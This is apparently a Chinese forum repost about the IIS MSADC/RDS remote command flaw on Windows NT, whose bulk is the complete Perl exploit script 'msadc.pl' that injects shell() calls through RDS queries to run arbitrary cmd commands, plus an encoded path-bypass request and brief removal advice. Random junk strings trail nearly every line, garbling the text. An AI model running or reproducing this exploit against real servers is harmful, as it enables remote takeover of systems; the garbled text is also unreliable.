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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ;) z:fToh  
u5b|#&-mX  
涉及程序: BLf>_b Uk  
Microsoft NT server DGn;m\B  
;~ $'2f~U  
描述: tOd&!HYL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -4IE]'##  
+RMSA^  
详细: +YKi,  
如果你没有时间读详细内容的话,就删除: n&qg;TT  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;LPfXpR  
有关的安全问题就没有了。 ^Hnb }L  
&P}_bx  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 UapC"XYJ  
G+"t/?/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 li'YDtMKCY  
关于利用ODBC远程漏洞的描述,请参看: )9'K($  
7<#U(,YEA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ;oKZ!ND  
6"5A%{ J  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6"O+w=5B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp qHplJ "  
H.|#c^I  
这里不再论述。 GxI!{oi2  
FF(#]vz'  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `O!X((  
/h H  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset lH x^D;m6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  Rn(ec  
s_OF(o  
~IfJwBn-i  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tGh~!|P  
aFb==73aLw  
#!perl .B]MpmpK  
# IS{wtuA.  
# MSADC/RDS 'usage' (aka exploit) script pnowy;  
# ~Z?TFg  
# by rain.forest.puppy Xq]w<$  
# ^Y>F|;M#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me [P=Jw:E  
# beta test and find errors! 2~1SQ.Q<RY  
ll<Xz((o  
use Socket; use Getopt::Std; ^w@%cVh  
getopts("e:vd:h:XR", \%args); oWim}Er=  
FxtQXu-g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F|o:W75  
iohop(LZ  
if (!defined $args{h} && !defined $args{R}) { T@:Wp4>69  
print qq~ Yz/md1T$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } jrlVvzZ  
-h <host> = host you want to scan (ip or domain) U9:zVy  
-d <seconds> = delay between calls, default 1 second ^& tZ  
-X = dump Index Server path table, if available 9N%We|L,c  
-v = verbose 0d"[l@UU0  
-e = external dictionary file for step 5 qo90t{|c  
Ustv{:7v  
Or a -R will resume a command session uD$u2  
hk(ZM#Bh  
~; exit;} <EB+1GFuI  
[#<-ZC#T*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @fZ,.2ar  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} I {S;L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ( iBl   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); G C),N\@Q  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <CYd+! (  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } j^j1  
\:# L)   
if (!defined $args{R}){ $ret = &has_msadc; qPX~@^`9  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Sz)' ogl  
H1pO!>M  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =)H.c uc  
. "cmd /c "; w(*vj  
$in=<STDIN>; chomp $in; 5,Jp[bw{H{  
$command="cmd /c " . $in ; c)TPM/>(p  
*v jmy/3  
if (defined $args{R}) {&load; exit;} h:b)Wr  
nX6u(U  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; B4c]}r+  
&try_btcustmr; |"X*@s\'  
8`q:Gz=M\  
print "\nStep 2: Trying to make our own DSN..."; rxgbV.tx  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =r?hg GWe  
| C;=-|  
print "\nStep 3: Trying known DSNs..."; AW%#O\N  
&known_dsn; (Y.k8";)`  
G\/zkrxmv  
print "\nStep 4: Trying known .mdbs..."; Yh@JXJ>  
&known_mdb; _JzEGpeG  
n71r_S*  
if (defined $args{e}){ gq4Tb c oA  
print "\nStep 5: Trying dictionary of DSN names..."; ?K$(817  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } M)J5;^["  
NR 5gj-B[  
print "Sorry Charley...maybe next time?\n"; -j# 2}[J7  
exit; _UMg[Um  
v}}F,c(f  
############################################################################## :}L[sl\R  
b$d;Qx  
sub sendraw { # ripped and modded from whisker '%s.^kn  
sleep($delay); # it's a DoS on the server! At least on mine...  acajHs  
my ($pstr)=@_; [i21FX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `quw9j9`C\  
die("Socket problems\n"); zsEc(  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9|^2",V  
select(S); $|=1; {k>&?Vd!  
print $pstr; my @in=<S>;  <$A  
select(STDOUT); close(S); m)ky*"(  
return @in; . oF &Ff/[  
} else { die("Can't connect...\n"); }} XV7Ex\D*  
#px+;k 5  
############################################################################## VZp5)-!\  
!_]Y~[  
sub make_header { # make the HTTP request ''A_[J `>  
my $msadc=<<EOT 2@n{yYwy  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 [`#CXq'  
User-Agent: ACTIVEDATA O%WIf__Q  
Host: $ip 1![!+X:w  
Content-Length: $clen dc+>m,3$  
Connection: Keep-Alive !fV+z%:  
Fd%#78UEo}  
ADCClientVersion:01.06 #5Qpu  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 c?(4t67|  
vONasD9At  
--!ADM!ROX!YOUR!WORLD! p,EQ#Ik  
Content-Type: application/x-varg -P(efYk  
Content-Length: $reqlen j nkR}wAA  
!hA-_  
EOT 6+#Ydii9E  
; $msadc=~s/\n/\r\n/g; =m]v8`g  
return $msadc;} f&N gS+<K$  
-V*R\,>  
############################################################################## ,Q3T Tno ,  
.Yamc#A-  
sub make_req { # make the RDS request m<<+  
my ($switch, $p1, $p2)=@_; ?(@ 7r_j  
my $req=""; my $t1, $t2, $query, $dsn; JU4<|5H  
NlA,'`,  
if ($switch==1){ # this is the btcustmr.mdb query oM X  
$query="Select * from Customers where City=" . make_shell(); lF<]8m%F  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . N~nziY*C,*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} +RHS!0  
^rB8? kt  
elsif ($switch==2){ # this is general make table query aj-Km`5r}  
$query="create table AZZ (B int, C varchar(10))"; 6B8VfQ9[  
$dsn="$p1";} z 4e7PW|  
rX U  
elsif ($switch==3){ # this is general exploit table query lB8-Z ow  
$query="select * from AZZ where C=" . make_shell(); I }a`0Y&{  
$dsn="$p1";} ")1:F>  
DHg :8%3x  
elsif ($switch==4){ # attempt to hork file info from index server y B81f  
$query="select path from scope()"; *[Imn\hu  
$dsn="Provider=MSIDXS;";} H9Gh>u]}  
R)?*N@.s  
elsif ($switch==5){ # bad query 0gu_yg!R  
$query="select"; 77 Q5d"sIi  
$dsn="$p1";} /m!BY}4W  
#JqB ;'\  
$t1= make_unicode($query); <X#C)-.  
$t2= make_unicode($dsn); ^7`BP%6  
$req = "\x02\x00\x03\x00"; OW&!at  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~V:\ _{mE  
$req.= "\x00\x00" . $t1 ; N_LM/of|D  
$req.= "\x08\x00" . pack ("S1", length($t2)); WSP I|#Xr%  
$req.= "\x00\x00" . $t2 ; 8$] 1M,$r  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; n.}ZkG0`  
return $req;} 7RQR)DG  
"-E\[@/  
############################################################################## &.F4 b~A7  
`{8K.(])s!  
sub make_shell { # this makes the shell() statement nd`1m[7MNu  
return "'|shell(\"$command\")|'";} FBG4pb9=~  
K$z2YJ%  
############################################################################## `C,n0'PL.  
HRpte=`q  
sub make_unicode { # quick little function to convert to unicode f'F?MINJP  
my ($in)=@_; my $out; Q*GN`07@?d  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } k x8G  
return $out;} `](e:be}  
NYhB'C2  
############################################################################## RV1coC.g4x  
mupT<_Y  
sub rdo_success { # checks for RDO return success (this is kludge) ynp8r f  
my (@in) = @_; my $base=content_start(@in); t"sBPLU\  
if($in[$base]=~/multipart\/mixed/){ a6 ekG YW  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }czrj%6  
return 0;} l&[O  
.zf~.R;>  
############################################################################## gZVc 5u<  
&L3M]  
sub make_dsn { # this makes a DSN for us "6A ` q\  
my @drives=("c","d","e","f"); {aZ0;  
print "\nMaking DSN: "; RCJ|P~*  
foreach $drive (@drives) { IM*y|UHt  
print "$drive: "; g/4[N{Xf  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %q"%AauJR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" D2 #ZpFp"h  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); V(}:=eK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; }YQX~="  
return 0 if $2 eq "404"; # not found/doesn't exist Xa[.3=bV?  
if($2 eq "200") { )Dm s  
foreach $line (@results) { ]43/`FX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ip\sXVR  
} return 0;} z>xmRs   
rD tY[  
############################################################################## K&u_R  
1pVS&0W  
sub verify_exists { Z<oaK  
my ($page)=@_; *9 {PEx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); b\f O8{k  
return $results[0];} DmK57V4L^  
Nd4f^Y   
############################################################################## ]dVGUG8  
4>YR{  
sub try_btcustmr { t}_r]E,{u  
my @drives=("c","d","e","f"); cx,+k]9D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 39c2pV[  
g_E$=j92v  
foreach $dir (@dirs) { ?PLPf>e  
print "$dir -> "; # fun status so you can see progress . P viA  
foreach $drive (@drives) { I]|Pq  
print "$drive: "; # ditto oE @a'*.\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &md`$a/  
$reqlenlen=length( "$reqlen" );  OHN_  
$clen= 206 + $reqlenlen + $reqlen; RIR\']WN  
x%=si[P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); q$L%36u~/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} a9e>iU  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 2 B1q*`6R  
P.se'z)E  
############################################################################## 85= )lu  
rCEyQ)R_}  
sub odbc_error { !"AvY y9  
my (@in)=@_; my $base; xa'*P=<)C'  
my $base = content_start(@in); Xxj- 6i  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z9f-.72"X  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]2A^1Del  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;7*[Bcj.  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =}^9 wP  
return $in[$base+4].$in[$base+5].$in[$base+6];} 6{K,c@VFd  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _`$qBw.Nx  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . U)TUOwF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 299H$$WS,Z  
g @Z))M+  
############################################################################## b1q"!+8y  
e)IzQ7Zex  
sub verbose { >IafUy  
my ($in)=@_; te`$%NRl  
return if !$verbose; AF{\6<m  
print STDOUT "\n$in\n";} yZ7&b&2nLn  
(y'hyJo  
############################################################################## zC:ASt  
b)#hSjWO#  
sub save { OG~gFZr)6  
my ($p1, $p2, $p3, $p4)=@_; n)/z0n!\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; r+!YI k  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; \<h0Q,e  
close OUT;} -/B+T>[nTb  
Z3e| UAif  
############################################################################## /V8 #[9K  
yqs4[C  
sub load { ,oe <  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u]wZQl#-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); k8yEdi`  
@p=<IN>; close(IN); Eh`7X=Z7E  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ufj`euY  
$target= inet_aton($ip) || die("inet_aton problems"); ,^r9n[M4M  
print "Resuming to $ip ..."; .~db4d]  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; KM0ru  
if($p[1]==1) {  'c&Ed  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; qAr M|\l1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *U-4Sy  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~G p [_ %K  
if (rdo_success(@results)){print "Success!\n";} .<?GS{6 N  
else { print "failed\n"; verbose(odbc_error(@results));}} CT@ jZtg0  
elsif ($p[1]==3){ Mexk~z A^  
if(run_query("$p[3]")){ ;a!S!% .h  
print "Success!\n";} else { print "failed\n"; }} P{`C^W$J^  
elsif ($p[1]==4){ M7\szv\Zc=  
if(run_query($drvst . "$p[3]")){ ^#-l q)  
print "Success!\n"; } else { print "failed\n"; }} A|[?#S((]  
exit;} @u+]aI!`-  
FZ QP%]FX  
############################################################################## r r %V.r;2  
G>_*djUf  
sub create_table { 2szPAuN+  
my ($in)=@_; GAzU?a{S  
$reqlen=length( make_req(2,$in,"") ) - 28; H'5)UX@LP  
$reqlenlen=length( "$reqlen" ); uCvj!  
$clen= 206 + $reqlenlen + $reqlen; "!P3R1;%  
my @results=sendraw(make_header() . make_req(2,$in,"")); %`r$g[<G  
return 1 if rdo_success(@results); b6M[q_   
my $temp= odbc_error(@results); verbose($temp); tFn)aa~L  
return 1 if $temp=~/Table 'AZZ' already exists/; unzr0x {  
return 0;} `7Q<'oK  
P8 c`fbkX2  
############################################################################## P:S.~Jq  
\w>y`\6mX  
sub known_dsn { hFUlNJ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5~U/   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 2W(s(-hD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", I|!OY`ko  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8%mu8l  
P5V}#;v  
foreach $dSn (@dsns) { /HEw-M9z  
print "."; s[*rzoA  
next if (!is_access("DSN=$dSn")); #zy :a%  
if(create_table("DSN=$dSn")){ Es`Px_k  
print "$dSn successful\n"; DK~xrU'  
if(run_query("DSN=$dSn")){ ~Cttzn]pR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (x|T+c"bAX  
print "Something's borked. Use verbose next time\n";}}} print "\n";} G>=*yqo  
octL"t8w  
############################################################################## bs&43Ae  
}K>d+6qk5  
sub is_access { dDMJ'  
my ($in)=@_; {?0lBfB"  
$reqlen=length( make_req(5,$in,"") ) - 28; 3%|&I:tI  
$reqlenlen=length( "$reqlen" ); i"FtcP^  
$clen= 206 + $reqlenlen + $reqlen; zk+9'r`-D  
my @results=sendraw(make_header() . make_req(5,$in,"")); P;no?  
my $temp= odbc_error(@results); 2;b\9R^>A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); S?LQu  
return 0;} r<EY]f^`u  
T{^rt3a  
############################################################################## bWS&Yk(  
FxY}m  
sub run_query { 3`?7 <YJ  
my ($in)=@_; T<>,lQs(a  
$reqlen=length( make_req(3,$in,"") ) - 28; E=Bf1/c\  
$reqlenlen=length( "$reqlen" ); Y-z(zS^1  
$clen= 206 + $reqlenlen + $reqlen; \l0[rcEf  
my @results=sendraw(make_header() . make_req(3,$in,"")); =%O6:YM   
return 1 if rdo_success(@results); fbvL7* (  
my $temp= odbc_error(@results); verbose($temp); /s?`&1v|r  
return 0;} A\DCW  
DfD&)tsMQ  
############################################################################## ^ +\dz  
#%2rP'He  
sub known_mdb { W*:.Gxv]  
my @drives=("c","d","e","f","g"); 6_;icpN]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); MchA{p&Ol  
my $dir, $drive, $mdb; {Mk6T1Bkq  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `(;m?<%  
/}Axf"OE  
# this is sparse, because I don't know of many |-ALklXr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Rv>-4@fMJ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", t}4, ]m s  
"\\system32\\certmdb.mdb", Yh7t"=o  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,qwuLBW  
Dy&i&5E.-l  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =svN#q5s  
"\\cfusion\\cfapps\\forums\\forums_.mdb", lVa%$F{Pq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", j;r-NCBnz  
"\\cfusion\\cfapps\\security\\realm_.mdb", {Xy5pfW Q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4_lrg|X1  
"\\cfusion\\database\\cfexamples.mdb", 1I6px$^E\  
"\\cfusion\\database\\cfsnippets.mdb", Y@iS_lR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", .Hm>i  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >:!5*E5?  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /nsX]V6i  
"\\cfusion\\database\\smpolicy.mdb", pki%vRY  
"\\cfusion\\database\cypress.mdb", r5/0u(\LB  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", T>Z<]s  
"\\website\\cgi-win\\dbsample.mdb", T::85  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |r/"  |`  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" V0YZp  
); #these are just  F(n$  
foreach $drive (@drives) { H?Wya.7  
foreach $dir (@dirs){ gQuw1  
foreach $mdb (@sysmdbs) { kD%( _K5  
print "."; i]4I [!  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ n@i HFBb  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; WwFm*4{[o  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ r6qj7}\  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z<;HQX,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Or+U@vAnk  
 _[3D  
foreach $drive (@drives) { +sA2WK]  
foreach $mdb (@mdbs) { |df Pki{  
print "."; 5qm`J,~k  
if(create_table($drv . $drive . $dir . $mdb)){ :Yl-w-oe  
print "\n" . $drive . $dir . $mdb . " successful\n"; =nS3p6>rZ  
if(run_query($drv . $drive . $dir . $mdb)){ ;'K5J9k  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; TdM ruSY  
} else { print "Something's borked. Use verbose next time\n"; }}}} *fxG?}YT  
} @.l@\4m  
T -2t.Xs  
############################################################################## aXYY:;  
Y.UFbrv  
sub hork_idx { 'H!Uh]!  
print "\nAttempting to dump Index Server tables...\n"; R n[cW5Y<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; am'7uy!ka~  
$reqlen=length( make_req(4,"","") ) - 28; x9g#<2w8  
$reqlenlen=length( "$reqlen" ); X_h}J=33Q  
$clen= 206 + $reqlenlen + $reqlen; cT,sh~-x,  
my @results=sendraw2(make_header() . make_req(4,"","")); bE..P&"  
if (rdo_success(@results)){ 4$<JHo @.  
my $max=@results; my $c; my %d; cq]6XK-W  
for($c=19; $c<$max; $c++){ ~ 7s!VR  
$results[$c]=~s/\x00//g; q9_OGd|P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; * u>\57W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; o.!Dq7 R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; M }D}K\)  
$d{"$1$2"}="";} 2ilQXy  
foreach $c (keys %d){ print "$c\n"; } vE?G7%,  
} else {print "Index server doesn't seem to be installed.\n"; }} HV|,}Wks6s  
r19 pZAc  
############################################################################## h]gp^?=  
n>YKa)|W`  
sub dsn_dict { NLqzi%s  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); a=2%4Wmz  
while(<IN>){ CdQ!GS<'y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; t{96p77)=  
next if (!is_access("DSN=$dSn")); H{wl% G  
if(create_table("DSN=$dSn")){ /4Gt{yg Sr  
print "$dSn successful\n"; 5j(k:a+!H  
if(run_query("DSN=$dSn")){ ~>|ziHx  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8Z~EwY*  
print "Something's borked. Use verbose next time\n";}}} iBa A9  
print "\n"; close(IN);} $& td=OK  
e"<OELA  
############################################################################## VPo".BvG6  
,z jv7$L  
sub sendraw2 { # ripped and modded from whisker ":ue-=&M  
sleep($delay); # it's a DoS on the server! At least on mine... MTn{d  
my ($pstr)=@_; (<9u-HF#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]=BB#  
die("Socket problems\n"); [W&T(%(W-  
if(connect(S,pack "SnA4x8",2,80,$target)){ S9.o/mr  
print "Connected. Getting data"; 4pvMd  
open(OUT,">raw.out"); my @in; hgq;`_;1,  
select(S); $|=1; print $pstr; ZECfR>`x  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e^voW"?%  
close(OUT); select(STDOUT); close(S); return @in; H:| uw  
} else { die("Can't connect...\n"); }} 9'B `]/L  
WyiQoN'q  
############################################################################## |6- nbj  
2>%=U~5  
sub content_start { # this will take in the server headers HRA|q  
my (@in)=@_; my $c; <hyKu  
for ($c=1;$c<500;$c++) { GbI/4<)l}  
if($in[$c] =~/^\x0d\x0a/){ a7opCmL  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } {l@{FUv  
else { return $c+1; }}} ^cWnF0)j.  
return -1;} # it should never get here actually oB7_O-3z  
_[BP 0\dPW  
############################################################################## hZb_P\1X  
/n&&Um\  
sub funky { :2`e(+Uz  
my (@in)=@_; my $error=odbc_error(@in); ,P0) 6>  
if($error=~/ADO could not find the specified provider/){ 8s@3hXD&  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >t+P(*u  
exit;} nw<uyaU-t  
if($error=~/A Handler is required/){ [a(#1  
print "\nServer has custom handler filters (they most likely are patched)\n"; xmoxZW:  
exit;} :3 mh@[V  
if($error=~/specified Handler has denied Access/){ +}AI@+  
print "\nServer has custom handler filters (they most likely are patched)\n"; "AqB$^S9t  
exit;}} ;^L(^Hx  
-~w'Xo#  
############################################################################## $??I/6  
HPVEnVn  
sub has_msadc { 2=}FBA,2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); x8|J-8A(  
my $base=content_start(@results); Hl=xW/%6y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2\$oV  
return 0;} BgT*icd8d  
c71y'hnT  
######################## dE3) | %  
| -H& o]  
Id9TG/H7  
解决方案: er\|i. Y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll L~3Pm%{@A  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 K=&>t6s<  
\U_@S.  
拿出来充数 哈哈
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